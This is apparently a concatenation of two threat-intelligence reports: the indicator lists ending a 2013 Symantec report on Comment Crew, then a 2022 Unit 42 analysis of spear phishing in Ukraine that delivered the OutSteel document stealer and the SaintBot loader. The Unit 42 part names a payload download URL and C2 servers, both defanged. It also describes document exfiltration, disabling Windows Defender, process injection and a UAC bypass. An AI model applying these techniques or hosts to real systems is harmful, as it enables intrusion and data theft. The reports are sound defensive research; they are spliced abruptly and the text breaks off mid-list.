Subject lines Capt [REMOVED] update Fw: LES Request Libya crisis Five Simple Questions for Democrats on Spending Cuts Behind the Easing of Israeli-Palestinian Tensions Business Exec Urges Broad Trade Agenda To Curb China Role In Latin America President Chavezs Comments About President Obama and the United States on Sundays Alo,Presidente FW: New Standdard Operational Procedures (SOPs) between the AGENDA [REMOVED] Help You Save Enough for Retirement Human right of north Afica under war Spreading Civil Unrest in the Middle East and North Africa The latest analysis on Syria International Atomic Energy Agency invite you to attend Atomic Energy Summit GAC Monthly Report Emergency notification Meeting information of [REMOVED] Meeting information of [REMOVED] Meeting notice from [REMOVED] Meeting notice from [REMOVED] FY12 Government Opportunities Yemen para for SC briefing Fighting Protectionism and Promoting Trade and Investment Weekly Security Report Agenda of [REMOVED] Visit in July 2011 Agenda of [REMOVED]  Visit in July 2011 Obituary Notice Updated Roster 20110712 2011 project budget [REMOVED]  National Security Seminar Current internatinal situation surrounding Syria New Update of Health  Medical force FW:How to Get Free Airline Tickets Nuclear Security and Summit Diplomacy Fw: [REMOVED]  Defence  Security Industry Mission to [REMOVED]  201 [REMOVED] heriketlik pilani 2012 Global aerospace and defense industry outlook Email attachment names update.exe CTF 2011 (MF).xls BBC Monitoring reports..xls Security Response  February 22, 2013  Copyright  2013 Symantec Page 16 Comment Crew: Indictors of Compromise Document Title here Five Simple Questions for Democrats on Spending Cuts.doc Behind the Easing of Israeli-Palestinian Tensions.doc Business Exec Urges Broad Trade AgendaTo Curb China Role In Latin America.doc PatriotLMSR2009Fin .doc New SOPs for HEC Coord with NATO.pdf agenda201005.pdf Human right report of noth Afica under the war.scr Middle_East_Civil_Unrest.pdf Protests Spread in Syria.pdf Cybersecurity and Cyber War.pdf The Meeting intivation of International Atomic Energy Agency 06-05-2011.scr meeting invitation of British Council 2011.scr Meeting information details of [REMOVED].exe Meeting information details of [REMOVED].exe Meeting detail information from [REMOVED].scr Meeting detail information from [REMOVED].scr FY12 Government Opportunities.pdf Chinas Jasmine protests.pdf Yemen para for SC briefing.doc DECLARATION- COMMENTS.Netherlands.pdf weekly_security_report-06-20-2011__-__06-26-2011.pdf 2011.xls Obituary.xls Updated_roster.xls 2011 project budget.xls Participant_Contacts.xls Current international situation surrounding Syria.doc Update of Health  Medical force.xls How to Get Free Airline Tickets.pdf REPLY_ FORM.doc Global AD outlook 2012.pdf Global_AD_outlook_2012.pdf Security Response  February 22, 2013  Copyright  2013 Symantec Page 17 Comment Crew: Indictors of Compromise Document Title here References Mandiant Indicators of Compromise http://intelreport.mandiant.com/Mandiant_APT1_Report_Appendix.zip http://intelreport.mandiant.com/Mandiant_APT1_Report_Appendix.zip Security Response  February 22, 2013  Copyright  2013 Symantec Page 18 Comment Crew: Indictors of Compromise Document Title here About Symantec Symantec protects the worlds information and is the global leader in security, backup, and availability solutions.
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Other names may be trademarks of their respective owners http://www.symantec.com/ http://go.symantec.com/socialmedia http://www.symantec.com/ http://www.symantec.com/ Comment Crew:  Indicators of Compromise Introduction Network indicators HTTP POST traffic containing HTTP GET traffic to pages with paths: Domains Internet protocol addresses File indicators Filenames and locations: File version Info: File MD5 hashes: System indicators Registry entries: Service names: Email indicators Subject lines Email attachment names References About Symantec
1/30 February 26, 2022 Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot By Unit 42 February 25, 2022 at 5:30 PM Category: Malware Tags: Advanced URL Filtering, AutoFocus, Cortex, information disclosure, OutSteel, Phishing, SaintBot, Ukraine, WildFire This post is also available in:  (Japanese) Executive Summary On Feb. 1, 2022, Unit 42 observed an attack targeting an energy organization in Ukraine.
CERT-UA publicly attributed the attack to a threat group they track as UAC-0056.
The targeted attack involved a spear phishing email sent to an employee of the organization, which used a social engineering theme that suggested the individual had committed a crime.
The email had a Word document attached that contained a malicious JavaScript file that would download and install a payload known as SaintBot (a downloader) and OutSteel (a document stealer).
Unit 42 discovered that this attack was just one example of a larger campaign dating back to at least March 2021, when Unit 42 saw the threat group target a Western government entity in Ukraine, as well as several Ukrainian government organizations.
The OutSteel tool is a simple document stealer.
It searches for potentially sensitive documents based on their file type and uploads the files to a remote server.
The use of OutSteel may suggest that this threat groups primary goals involve data collection on government organizations and companies involved with critical infrastructure.
The SaintBot tool is a downloader that allows the threat actors to download and run additional tools on the infected system.
SaintBot provides the actors persistent access to the system while granting the ability to further their capabilities.
While the OutSteel and SaintBot payloads were common among the attacks, the actors used different social engineering themes and infection chains to compromise systems.
The actors used current events and other pertinent themes to trick recipients into opening documents, clicking links, enabling malicious content or running executables directly to compromise their systems.
Early attacks in March and April 2021 used cryptocurrency and COVID themes, while we observed the actors using law enforcement-related themes and fake resumes in the May-July 2021 and the February 2022 attacks.
The use of law enforcement-related themes in attacks spanning several months suggests that the threat group favors this social engineering theme in the absence of a trending topic or current event.
The use of email as the attack vector remains the same in all attacks carried out by this threat group.
While the spear phishing emails are a common component, each attack uses a slightly different infection chain to compromise the system.
For instance, the actors have included links to Zip archives that contain malicious shortcuts (LNK) within the spear phishing emails, as well as attachments in the form of PDF documents, Word documents, JavaScript files and Control Panel File (CPL) executables.
Even the Word documents attached to emails have used a variety of techniques, including malicious macros, embedded JavaScript and the exploitation of CVE-2017-11882 to install payloads onto the system.
With the exception of the CPL executables, most of the delivery mechanisms rely on PowerShell scripts to download and execute code from remote servers.
For more comprehensive information about the Russia-Ukraine crisis, including an overview of known attacks and recommendations for how to protect against possible threats, please see our post, Russia-Ukraine Crisis: How to Protect Against the Cyber Impact.
Palo Alto Networks customers receive protections against the attacks described via products and services including Cortex XDR and the WildFire, Advanced URL Filtering and DNS Security security subscriptions for the Next-Generation Firewall.
https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/ https://unit42.paloaltonetworks.com/author/unit42/ https://unit42.paloaltonetworks.com/category/malware-2/ https://unit42.paloaltonetworks.com/tag/advanced-url-filtering/ https://unit42.paloaltonetworks.com/tag/autofocus/ https://unit42.paloaltonetworks.com/tag/cortex/ https://unit42.paloaltonetworks.com/tag/information-disclosure/ https://unit42.paloaltonetworks.com/tag/outsteel/ https://unit42.paloaltonetworks.com/tag/phishing/ https://unit42.paloaltonetworks.com/tag/saintbot/ https://unit42.paloaltonetworks.com/tag/ukraine/ https://unit42.paloaltonetworks.com/tag/wildfire/ https://unit42.paloaltonetworks.jp/ukraine-targeted-outsteel-saintbot/ https://cert.gov.ua/article/18419 https://nvd.nist.gov/vuln/detail/CVE-2017-11882 https://unit42.paloaltonetworks.com/preparing-for-cyber-impact-russia-ukraine-crisis/ 2/30 Related Unit 42 Topics Russia-Ukraine Crisis Cyber Impact, Phishing Table of Contents Attack Overview Links to Prior Attacks Payload Analysis for Feb. 2 Attack Initial Loader Additional Files Associated With the Attack Conclusion Additional Resources Indicators of Compromise Appendix A: Prior Attacks Associated With UAC0056 March 2021 Attacks April 2021 Attacks May 2021 Attacks June 2021 Attacks July 2021 Targeting Attack Overview On Feb. 1, 2022, Unit 42 observed threat actors sending a targeted email to an individual at an energy organization in Ukraine.
The email had the following attributes: From: mariaparsons10811gmail[.
]com Subject:     (redacted targeted individuals name Attachment:     (redacted targeted individuals name).docx The email subject and the filename of the attached document translate from Ukrainian to Report on the commission of a crime (redacted targeted individuals name).
The email suggests that the individual was involved in criminal activity, which is likely part of the actors social engineering efforts to convince the targeted individual to open the attachment.
The malicious Word document displays the following contents: https://unit42.paloaltonetworks.com/preparing-for-cyber-impact-russia-ukraine-crisis/ https://unit42.paloaltonetworks.com/tag/phishing/ 3/30 Figure 1.
A malicious Word document attached to a spear phishing email sent to a targeted individual at a Ukrainian organization.
The apparent redactions were added by the threat actor as a lure to induce the target to click icons in the document.
The content within the attached document also follows the theme in the delivery email, as it appears to be a redacted criminal investigation report from the National Police of Ukraine.
The document instructs the user to click the icons with the exclamation point to display the redacted contents hidden by black bars over the text.
Each of the supposedly redacted pieces of content has an icon that, when double-clicked, runs malicious JavaScript (SHA256: b258a747202b1ea80421f8c841c57438ffb0670299f067dfeb2c53ab50ff6ded) that is embedded within the document.
When the user double-clicks the icon, Word effectively writes the following file to the system and runs it with Windows Script Host (wscript): C:\Users\ADMINI1\AppData\Local\Temp\GSU207POLICE.GOV.UA -  (15).js The JavaScript file will run the following process that in turn runs a PowerShell script: 4/30 Figure 2.
PowerShell one-liner.
The PowerShell one-liner above will download an executable from the following URL, save it to PUBLIC\GoogleChromeUpdate.exe and execute it: hxxps://cdn.discordapp[.
]com/attachments/932413459872747544/938291977735266344/putty.exe According to CERT-UA, this PowerShell one-liner also appears in another attack attributed to this group that occurred a few days earlier on Jan. 31.
Based on our analysis of the payload that this attempted spear phishing attack leads to, which includes the SaintBot downloader and the OutSteel document stealer, we suspect that the threat groups goals for this attack involve exfiltrating data from the energy organization.
Links to Prior Attacks CERT-UA mentioned that they track this activity using the moniker UAC-0056, while other organizations track this group with the names TA471, SaintBear and Lorec53.
Our research shows that these attacks have various overlaps with previous attack campaigns focused on other organizations in Ukraine and Georgia, as well as other nations assets local to Ukraine.
These overlaps involve the use of the SaintBot downloader, shared infrastructure and other common elements.
Figure 3 shows a timeline of the known attacks related to this threat group, specifically, the day the spear phishing emails were sent and the subject line of each email.
Figure 3.
A timeline of known attacks related to UAC-0056, showing the date spear phishing emails were sent and their subject lines.
The timeline shows several attacks between April and July 2021.
There is then a gap of several months between the 2021 attacks and attacks that have been observed in 2022.
This is more likely due to a lack of visibility rather than a pause in activity.
We believe that the threat group did not pause their activity as we are aware of additional delivery documents and payloads that suggest additional attacks occurred during the apparently inactive periods on the timeline.
Details of known prior attacks associated with UAC-0056 are available in Appendix A.
Attacks described in the appendix include: March 2021: An attack campaign against targets in Georgia using Bitcoin and COVID themes.
April 2021: Bitcoin-themed spear phishing emails targeting Ukrainian government organizations.
May 2021: Law enforcement-themed attacks targeting Ukrainian government organizations.
June 2021: Law-enforcement themed attack against a Ukrainian government organization July 2021: Spear phishing attempt on a Western government entity in Ukraine.
Payload Analysis for Feb. 2 Attack https://cert.gov.ua/article/18273 https://cert.gov.ua/article/18273 https://www.proofpoint.com/us/daily-ruleset-update-summary-20210511 http://report.threatbook.cn/ST.pdf https://nsfocusglobal.com/apt-retrospection-lorec53-an-active-russian-hack-group-launched-phishing-attacks-against-georgian-government/ 5/30 As seen above, the actors leverage Discords content delivery network (CDN) to host their payload, which is a common technique that the threat group uses across many of their attacks.
The use of Discord benefits threat actors since the popularity of Discords servers for gaming, community groups and other legitimate usage causes many URL filtering systems to place a high degree of trust in its domain.
Discords terms of service do not allow malicious use of its CDN, and the company has been working to find and block abuses of its platform.
In this attack, this URL was hosting a malicious executable (SHA256: f58c41d83c0f1c1e8c1c3bd99ab6deabb14a763b54a3c5f1e821210c0536c3ff) that is a loader.
This acts as the first stage of several in the overall infection chain, each of which have varying levels of complexity.
Ultimately, this infection chain results in the installation and execution of a document stealer called OutSteel, a loader Trojan called SaintBot, a batch script turned into an executable that disables Windows Defender and a legitimate Google Chrome installation executable.
Initial Loader The executable initially downloaded by the JavaScript in the delivery document is an initial loader Trojan, whose developers signed using a certificate (SHA1: 60aac9d079a28bd9ee0372e39f23a6a92e9236bd) that has Electrum Technologies GmbH within the organization field.
This is related to the Electrum Bitcoin wallet, as seen in the following: Certificate: Data: Version: 3 (0x2) Serial Number: 3b:11:e7:6e:da:51:82:ce:c2:d4:e7:2d:8c:05:f6:9a Signature Algorithm: sha256WithRSAEncryption Issuer: CUS, Othawte, Inc., CNthawte SHA256 Code Signing CA - G2 Validity Not Before: May 8 00:00:00 2020 GMT Not After : May 8 23:59:59 2022 GMT Subject: CDE, STBerlin, LBerlin, OElectrum Technologies GmbH, CNElectrum Technologies GmbH This first-stage loader is a simple wrapper for the next few stages  these later stages will simply decrypt a DLL from its resources, before loading it into memory and invoking its entry point.
Figure 4.
Loading decrypted SHCore2.dll and invoking entry point.
6/30 The packer used to pack and obfuscate this initial loader allows a user to clone .NET assemblies from other .NET binaries, as well as from cloning certificates.
This explains how a large portion of the payload is taken from a legitimate library, as well as the attached Electrum certificate.
The decrypted DLL, named SHCore2.dll, is also obfuscated, though interestingly, the obfuscator did not completely strip the class names, as can be seen in Figure 5 below.
This allows us to quickly gather some information on the functionality of the sample.
While it may seem like the DLL is the final payload, it is merely another stager, which will decrypt and execute a total of four embedded binaries.
Figure 5.
SHCore2.dll classes.
The stager contains some interesting anti-analysis functionality, refusing to execute inside a virtual machine, and in some cases, on bare metal systems.
While that makes it difficult to perform dynamic analysis, before performing any virtual machine checks, the sample does call functions within the Class5_Decrypter class, which is responsible for decrypting the embedded payloads.
This allows us to debug the sample and extract those payloads once decrypted.
7/30 Figure 6.
Decrypted config file in SHCore2.dll memory.
The four embedded binaries decrypted and executed by the stager include OutSteel, SaintBot, an executable that runs a batch script to disable Windows Defender and the Google Chrome installer, as seen in Table 1.
SHA256 Description 7e3c54abfbb2abf2025ccf05674dd10240678e5ada465bb0c04a9109fe46e7ec OutSteel AutoIT file uploader 0da1f48eaa7956dda58fa10af106af440adb9e684228715d313bb0d66d7cc21d PureBasic executable, used to drop a Disable Windows Defender batch file 0f9f31bbc69c8174b492cf177c2fbaf627fcdb5ac4473ca5589aa2be75cee735 Legitimate Google Chrome installer 82d2779e90cbc9078aa70d7dc6957ff0d6d06c127701c820971c9c572ba3058e SaintBot .NET Loader Additional Files Associated With the Attack Below is a more detailed analysis of four additional files that come into play after the initial loader executes.
OutSteel OutSteel is a file uploader and document stealer developed with the scripting language AutoIT.
It is executed along with the other binaries listed in Table 1.
It begins by scanning through the local disk in search of files containing specific extensions, before uploading those files to a hardcoded command and control (C2) server.
In this sample, the C2 server it reaches out to is 185[.]244[.]41[.
]109:8080, with the endpoint /upld/.
Table 1.
Embedded binaries within the loader.
8/30 Figure 7.
OutSteel main file search loop.
Scanning is performed through the use of CMD commands, as seen below: cmd.exe /U /C DIR \Users\Admin\.docx /S /B/ A The list of file extensions that OutSteel gathers using the commands above is shown in Table 2, and the choice of these extensions is likely an attempt to gather potentially sensitive files.
These file types include documents for Microsoft Office suite applications, Microsoft Access database files, Microsoft Outlook data files and various archive file types.
.doc .ppt .xls .rtf .accdb .pst .zip .txt .docx .pptx .xlsx .dot .pot .ppa .tar .pdf .dot .csv .mdb .pps .rar .7z The command output will be read by the AutoIT payload, and each file will be uploaded to the C2, using the HTTP.au3 library.
Once the script has finished uploading all relevant files to the C2, it will then attempt to download a file to TEMP\svjhost.exe from the secondary hardcoded C2 eumr[.
]site.
The downloaded payload is a sample of the SaintBot .NET loader, also extracted from the SHCore2 DLL, and if downloaded successfully, will be executed via the command line.
Figure 8.
OutSteel downloads SaintBot and executes rmm.bat The script comes to a close after creating a .bat file named rmm.bat in the current directory, which will delete itself and the original payload, prior to terminating any running cmd.exe processes.
Figure 9.
rmm.bat file contents.
At this point, the AutoIT script exits, leaving SaintBot residing in memory.
windows_defender_disable.bat Table 2.
File extensions gathered by OutSteel.
https://github.com/jesobreira/HTTP.au3/blob/master/HTTP.au3 9/30 This batch file is used to disable Windows Defender functionality.
It accomplishes this by executing multiple commands via CMD that modify registry keys and disabling Windows Defender scheduled tasks.
This script is open source and available on GitHub, so there is no custom element to this specific sample.
This is done to reduce the risk of the dropped payloads being detected by Windows Defender.
Figure 10.
windows_defender_disable.bat script.
SaintBot .NET Loader The SaintBot .NET loader is also composed of several stages, with varying levels of obfuscation.
It begins by executing a single PowerShell one-liner, which results in the execution of cmd.exe, passing the command timeout 20.
Once the timeout completes, the loader will resume.
Figure 11.
Execution of PowerShell one-liner.
The first layer of the loader will extract a reversed .NET binary from its resources, before flipping, loading into memory and executing it.
https://github.com/vs-toad/Windows/blob/master/windows_defender_disable.bat 10/30 Figure 12.
Reversed binary within resources.
This secondary layer contains far more obfuscation than the first, also implementing obfuscation through obscurity with around 140 different classes.
Also stored within these classes are several virtual machine and sandbox checks, such as checking if Sbiedll.dll is present in the list of loaded modules, comparing the machine name to HAL9TH and the user name to JohnDoe, and checking the BIOS version for known virtual machine identifiers.
Figure 13.
Anti-VM check.
The quickest way to bypass these checks is to simply set a breakpoint on the Invoke() function and modify any values within memory to make sure no matches are discovered by the sample.
Once all checks have been passed, the second stage of the loader will extract the SaintBot binary from its resources and decrypt it.
From there, it begins loading in different API calls, including VirtualAllocEx, WriteProcessMemory, CreateProcessA and SetThreadContext.
These calls are used to spawn MSBuild.exe in a suspended state before injecting the decrypted SaintBot binary into it, modifying the thread context to point to the malicious entry point and resuming the process.
11/30 Figure 14.
Loading process injection API.
SaintBot Payload SaintBot is a recently discovered malware loader, documented in April 2021 by MalwareBytes.
It contains capabilities to download further payloads as requested by threat actors, executing the payloads through several different means, such as injecting into a spawned process or loading into local memory.
It can also update itself on disk  and remove any traces of its existence  as and when needed.
SHA-256: e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c Upon execution within the MSBuild process, SaintBot will perform several anti-analysis checks, as well as a locale check.
If any of these checks fail, a batch script named del.bat is dropped to the APPDATA folder and executed, removing any SaintBot payload-linked files from the system.
Figure 15.
System locale checks.
If the checks are passed, the payload attempts to locate slideshow.mp4 from the LOCALAPPDATA\zzUSERNAME path, where slideshow.mp4 is actually a copy of ntdll.dll.
If the file is not found, SaintBot assumes it has not yet been installed on the system and therefore jumps to the installation procedure.
This involves creating a directory in the LOCALAPPDATA folder, with the name set to zzUSERNAME.
Then, the local ntdll.dll binary is copied over to the newly created folder and renamed to slideshow.mp4.
Along with that, a .vbs and .bat script are dropped, named USERNAME.vbs and USERNAME.bat.
Once the installation routine is complete, the payload executes itself once again and exits.
https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/ 12/30 Figure 16.
Setting up core SaintBot folders.
If slideshow.mp4 is discovered on the initial check, it is used to load in the core API provided by ntdll.dll.
This is done to avoid any hooks placed on API calls within the original ntdll.dll by EDR/AV software.
Figure 17.
Resolving API through slideshow.mp4.
At this point, the payload then checks to see if it is running under the process name dfrgui.exe, and if not, it will spawn dfrgui.exe from the SYSTEM directory.
This spawned process is then injected into dfrgui.exe using NtQueueApcThread to resume the process, and the original MSBuild process terminates.
13/30 Figure 18.
Injection into dfrgui.exe If SaintBot is running inside dfrgui.exe, it will confirm whether or not it is running with administrator privileges.
If not, it will attempt to bypass UAC using fodhelper.exe.
Figure 19.
Privilege escalation via fodhelper.exe Persistence is then set up through the CurrentVersion\Run registry key, and communication finally begins with the C2 server.
This sample has a total of three C2 servers embedded within it, all reaching out to the same /wp-adm/gate.php endpoint.
https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692 14/30 Figure 20.
Hardcoded C2s.
This particular sample accepts six total commands from the C2 server: Command Purpose de de:regsvr32 Execute an EXE or DLL (using regsvr32) via cmd.exe de:LoadMemory Spawn copy of dfrgui.exe and inject downloaded executable into process de:LL Download DLL and load into memory with LdrLoadDll() update Update SaintBot binary uninstall Uninstall SaintBot from machine Conclusion Unit 42 research discovered a threat group targeting an energy organization that is part of Ukraines critical infrastructure.
This attack is part of a year-long campaign of attacks that not only targeted Ukrainian government organizations, but also foreign nations embassies in Ukraine.
The threat group delivered a malicious payload called OutSteel that is capable of automatically exfiltrating various types of files, including documents, archives, database files and files containing email- related data.
Based on the list of targeted organizations and the use of a file exfiltration tool, we believe this threat groups primary goal is to steal sensitive information for the purpose of situational awareness and leverage in dealing with Ukraine.
For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign: Cortex XDR protects endpoints from the SaintBot malware described in this blog.
WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious.
Advanced URL Filtering and DNS Security identify domains associated with this attack campaign as malicious.
Users of the AutoFocus contextual threat intelligence service can view malware associated with these attacks using the SaintBot, SaintBot_Loader and OutSteel tags.
Table 3.
SaintBot commands.
https://www.paloaltonetworks.com/cortex/cortex-xdr https://www.paloaltonetworks.com/products/secure-the-network/wildfire https://www.paloaltonetworks.com/network-security/advanced-url-filtering https://www.paloaltonetworks.com/network-security/dns-security https://www.paloaltonetworks.com/cortex/autofocus https://autofocus.paloaltonetworks.com//tag/Unit42.SaintBot https://autofocus.paloaltonetworks.com//tag/Unit42.SaintBot_Loader https://autofocus.paloaltonetworks.com//tag/Unit42.OutSteel 15/30 Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.
CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
Learn more about the Cyber Threat Alliance.
Additional Resources A deep dive into SaintBot, a new downloader Targeted Phishing Attack Against Ukrainian Government Expands to Georgia Spearphising Attack Uses COVID 21 Lure to Target Ukrainian Government CERT-UA Post from July 13, 2021 CERT-UA Post from Feb. 2, 2022 Russia-Ukraine Crisis: How to Protect Against the Cyber Impact Russia-Ukraine Crisis Briefings: How to Protect Against the Cyber Impact Palo Alto Networks Resource Page: Protect Against the Cyber Impact of the Russia-Ukraine Crisis Indicators of Compromise Delivery Hashes 07ed980373c344fd37d7bdf294636dff796523721c883d48bb518b2e98774f2c 0be1801a6c5ca473e2563b6b77e76167d88828e1347db4215b7a83e161dae67f 0db336cab2ca69d630d6b7676e5eab86252673b1197b34cf4e3351807229f12a 0f13f5f9a53a78fc4f528e352cd94929ae802873374ffb9ac6a16652bd9ea4c5 101d9f3a9e4a8d0c8d80bcd40082e10ab71a7d45a04ab443ef8761dfad246ca5 1092d367692045995fab78ba1b9b236d5b99d817dd09cba69fd3834e45bd3ddf 10d21d4bf93e78a059a32b0210bd7891e349aabe88d0184d162c104b1e8bee2e 14bde11c50a2df2401831fea50760dd6cf9a492a3a98753ab3b1c6ce4d079196 157b05db61aaf171823c7897a2f931d96a62083a3ad6014cb41c6b42694a0c2f 172f12c692611e928e4ea42b883b90147888b54a8fb858fc97140b82eef409f3 275388ffad3a1046087068a296a6060ed372d5d4ef6cf174f55c3b4ec7e8a0e8 276ac9b9fe682d76382ec6e5bc3d1d045ce937438f92949c23453468eb62a143 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d 2c879f5d97f126820f1fbf575df7e681c90f027062b6bcb3451bb09607c922da 2ec710d38a0919f9f472b220cfe8d554a30d24bfa4bdd90b96105cee842cf40d 33a4655fd61e471d8956bc7681ee56a9926da91df3583b79e80cb26a14e45548 35180c81ebcefbc32c2442c683cab6fd299af797a0493d38589d5c5d1d6b5313 354868cd615a0377e0028bcaee422c29f6b6088b83a0b37a32e00cce5dba43f9 434d39bfbcee378ed62a02aa40acc6507aa00b2a3cb0bf356c0b23cc9eebcd77 461eeadbe118b5ad64a62f2991a8bd66bdcd3dd1808cd7070871e7cc02effad7 4fcfe7718ea860ab5c6d19b27811f81683576e7bb60da3db85b4658230414b70 52173598ca2f4a023ec193261b0f65f57d9be3cb448cd6e2fcc0c8f3f15eaaf7 5227adda2d80fb9b66110eeb26d57e69bbbb7bd681aecc3b1e882dc15e06be17 5cda471f91413a31d3bc0e05176c4eb9180dfcac3695b83edd6a5d4b544fe3f1 5d8c5bb9858fb51271d344eac586cff3f440c074254f165c23dd87b985b2110b 5d9c7192cae28f4b6cc0463efe8f4361e449f87c2ad5e74a6192a0ad96525417 5dabf2e0fcc2366d512eda2a37d73f4d6c381aa5cb8e35e9ce7f53dae1065e4a 63d7b35ca907673634ea66e73d6a38486b0b043f3d511ec2d2209597c7898ae8 64057982a5874a9ccdb1b53fc15dd40f298eda2eb38324ac676329f5c81b64e0 677500881c64f4789025f46f3d0e853c00f2f41216eb2f2aaa1a6c59884b04cc 68313c90ca8eb0d5fc5e63e2b0f7a5f4d1fe15f825fe8ca0b4b3e922a253caa7 84e651b2d55a75ec59b861b11a8f8f7cb155ed81604081c95dd11b8aec5b31b1 882597c251905f9be31352ba034835764124c9a9e25ef1ba0150e5998c621f07 891f526fea4d9490a8899ce895ce86af102a09a50b40507645fee0cf2ab5bef5 8bb427b4f80fe1ede3e3ed452d9f0a4ce202b77cda4ad2d54968ab43578e9fa9 8c8ef518239308216d06b4bf9b2771dbb70759cb1c9e6327a1cd045444f2b69a 90ce65b0b91df898de16aa652d7603566748ac32857972f7d568925821764e17 https://www.cyberthreatalliance.org/ https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/ https://www.intezer.com/blog/malware-analysis/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/ https://www.fortinet.com/blog/threat-research/spearphishing-attack-uses-covid-21-lure-to-target-ukrainian-government https://cert.gov.ua/article/13156 https://cert.gov.ua/article/18419 https://unit42.paloaltonetworks.com/preparing-for-cyber-impact-russia-ukraine-crisis/ https://register.paloaltonetworks.com/unit42briefingrussiaukraine https://www.paloaltonetworks.com/russia-ukraine-cyber-resources 16/30 92af444e0e9e4e49deda3b7e5724aaecbb7baf888b6399ec15032df31978f4cf 96f815abb422bb75117e867384306a3f1b3625e48b81c44ebf032953deb2b3ff 9803e65afa5b8eef0b6f7ced42ebd15f979889b791b8eadfc98e7f102853451a a16e466bed46fcf9c0a771ca0e41bc42a1ac13e66717354e4824f61d1695dbb1 a356be890d2f48789b46cd1d393a838be10bdea79f12a10b1adf1d78178343c5 a60f4a353ea89adc8def453c8a1e65ea2ecc46c64d0d9ea375ca4e85e1c428fd b7c6b82a8074737fb35adccddf63abeca71573fe759bd6937cd36af5658af864 b89a71c9dbc9492ecb9debb38987ab25a9f1d9c41c6fbc33e67cac055c2664bc c9761f30956f5ba1ac9abc8b000eae8686158d05238d9e156f42dd5c17520296 d99f998207c38fe3ab98b0840707227af4d96c1980a5c2f8f9ac7062fab0596d dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f e39a12f34bb8a7a5a03fd23f351846088692e1248a3952e488102d3aea577644 f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052 f69125eafdd54e1aae10707e0d95b0526e80b3b224f2b64f5f6d65485ca9e886 f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166 fbe13003a4e39a5dea3648ee906ea7b86ed121fd3136f15678cf1597d216c58a Payload Hashes 005d2d373e7ba5ee42010870b9f9bf829213a42b2dd3c4f3f4405c8b904641f2 0222f6bdfd21c41650bcb056f618ee9e4724e722b3abcd8731b92a99167c6f8d 0c644fedcb4298b705d24f2dee45dda0ae5dd6322d1607e342bcf1d42b59436c 0e1e2f87699a24d1d7b0d984c3622971028a0cafaf665c791c70215f76c7c8fe 0f7a8611deea696b2b36e44ea652c8979e296b623e841796a4ea4b6916b39e7c 0fc7154ebd80ea5d81d82e3a4920cb2699a8dd7c31100ca8ec0693a7bd4af8b7 137fc4df5f5cad2c88460314e13878264cc90d25f26b105bb057f6bfdca4cbf2 17c3cf5742d2a0995afb4dd2a2d711abe5de346abde49cf4cf5b82c14e0a155f 187e0a02620b7775c2a8f88d5b27e80b5d419ad156afc50ef217a95547d0feaa 18f24841651461bd84a5eac08be9bce9eab54b133b0e837d5298dac44e199d5f 1a1fe7b6455153152037668d47c7c42a068b334b91949739ed93256d5e3fbd89 1e6596320a3fa48d8c13609a66e639b35fb1e9caae378552956aa9659809162b 2762cbc81056348f2816de01e93d43398ba65354252c97928a56031e32ec776f 27868ae50b849506121c36b00d92afe3115ce2f041cc28476db8dfc0cc1d6908 2bef4a398a88749828afac59b773ae8b31c8e4e5b499aad516dd39ada1a11eca 2d9d61ce6c01329808db1ca466c1c5fbf405e4e869ed04c59f0e45d7ad12f25b 3075a467e89643d1f37e9413a2b38328fbec4dd1717ae57128fdf1da2fe39819 320d091b3f8de8688ce3b45cdda64a451ea6c22da1fcea60fe31101eb6f0f6c2 37be3d8810959e63d5b6535164e51f16ccea9ca11d7dab7c1dfaa335affe6e3d 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cce564eb25a80549d746c180832d0b3d45dcd4419d9454470bfd7517868d0e10 cd93f6df63187e3ac31ea56339f9b859b0f4fbe3e73e1c07192cef4c9a6f8b08 d4d4aa7d621379645d28f3a16b3ba41b971216869f5448ea5c1fc2e78cfecb26 d6e2a79bc87d48819fabe332dd3539f572605bb6091d34ae7d25ae0934b606b5 db8975fd6c04a7d3790eb73ab8e95b6dbf6c9d65ad5c6a6d3c862d0284f87c34 df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3 dfc24fa837b6cd3210e7ea0802db3dcf7bb1f85bff2c1b4bda4c3c599821bf8c e0c46e23bd1b5b96123e0c64914484bbfae7a7ad13cbd45184035d4c0f8a10a2 e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c e9a858127f5f6e5e0e94ed655a2bf9ed228f87bc99d9b12113e27dcc84be3909 ebbf30e06de3a25f76cf43c72c521d14a27053e4d9be566b41f50c41bea3a7a9 ec3c0afccfef11f753a408c859d98bbba4841e87f7f1a48573270c0d82252b03 ec62c984941954f0eb4f3e8baee455410a9dc0deb222360d376e28981c53b1a0 ec8868287e3f0f851ff7a2b0e7352055b591a2b2cb1c2a76c53885dee66562dc 18/30 f24ee966ef2dd31204b900b5c7eb7e367bc18ff92a13422d800c25dbb1de1e99 f2bdde99f9f6db249f4f0cb1fb8208198ac5bf55976a94f6a1cebfb0d6c30551 f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8 f58c41d83c0f1c1e8c1c3bd99ab6deabb14a763b54a3c5f1e821210c0536c3ff fa1bc7d6f03a49af50f7153814a078a32f24f353c9cb2b8e3f329888f2b37a6e fad2e8293cf38eec695b1b5c012e187999bd94fbcad91d8f110605a9709c31b3 ff07325f5454c46e883fefc7106829f75c27e3aaf312eb3ab50525faba51c23c ffad5217eb782aced4ab2c746b49891b496e1b90331ca24186f8349a5fa71a28 Related URLs 1000018[.
